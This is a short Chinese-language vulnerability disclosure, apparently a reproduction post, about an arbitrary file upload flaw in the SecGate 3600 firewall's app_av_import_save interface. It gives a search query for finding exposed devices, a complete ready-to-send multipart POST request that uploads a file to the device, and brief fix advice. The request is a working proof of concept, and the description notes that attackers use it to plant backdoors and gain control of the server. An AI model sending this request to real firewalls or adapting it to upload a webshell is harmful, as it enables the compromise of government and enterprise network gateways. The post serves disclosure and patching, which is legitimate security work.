网神SecGate 3600防火墙app_av_import_save任意文件上传漏洞

产品介绍

SecGate3600是网神信息技术(北京)股份有限公司旗下一款安全网关产品，是一款能够全面应对传统网络攻击和高级威胁的创新型防火墙产品，基于麒麟操作系统与飞腾硬件平台打造，可广泛运用于政府机构、各类企业和组织的业务网络边界，实现网络安全域隔离、精细化访问控制、高效的威胁防护和高级威胁检测等功能。

漏洞描述

网神 SecGate3600 存在app_av_import_save任意文件上传漏洞，攻击者通过构造特殊请求包上传恶意后门文件，从而获取服务器权限。

资产测绘

body=“./images/lsec/login/loading.gif”

漏洞复现

POST /?g=app_av_import_save HTTP/1.1
Host: your_ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Content-Length: 511

------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="gogo.txt"
Content-Type: text/plain

success
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--

访问上传文件

修复建议

关闭互联网暴露面或接口访问限制
升级至安全版本